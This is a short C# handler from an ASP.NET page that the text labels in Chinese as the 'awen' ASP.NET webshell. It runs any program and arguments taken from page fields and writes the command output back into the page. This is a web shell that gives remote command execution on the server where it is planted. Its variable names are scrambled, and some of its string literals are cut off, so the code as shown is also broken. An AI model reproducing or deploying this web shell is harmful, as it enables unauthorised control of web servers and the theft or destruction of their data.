protected void FbhN(object sender,EventArgs e)
{
try
{
Process ahAE=new Process();
ahAE.StartInfo.FileName=kusi.Value;
ahAE.StartInfo.Arguments=bkcm.Value;
ahAE.StartInfo.UseShellExecute=false;
ahAE.StartInfo.RedirectStandardInput=true;
ahAE.StartInfo.RedirectStandardOutput=true;
ahAE.StartInfo.RedirectStandardError=true;
ahAE.Start();
string Uoc=ahAE.StandardOutput.ReadToEnd();
Uoc=Uoc.Replace("
Uoc=Uoc.Replace(">",">");
Uoc=Uoc.Replace("\r\n","
");
tnQRF.Visible=true;
tnQRF.InnerHtml="
"+Uoc+"";
}
catch(Exception error)
{
Response.Write(error.Message);
}
}
awen asp.net webshell路径:
参数: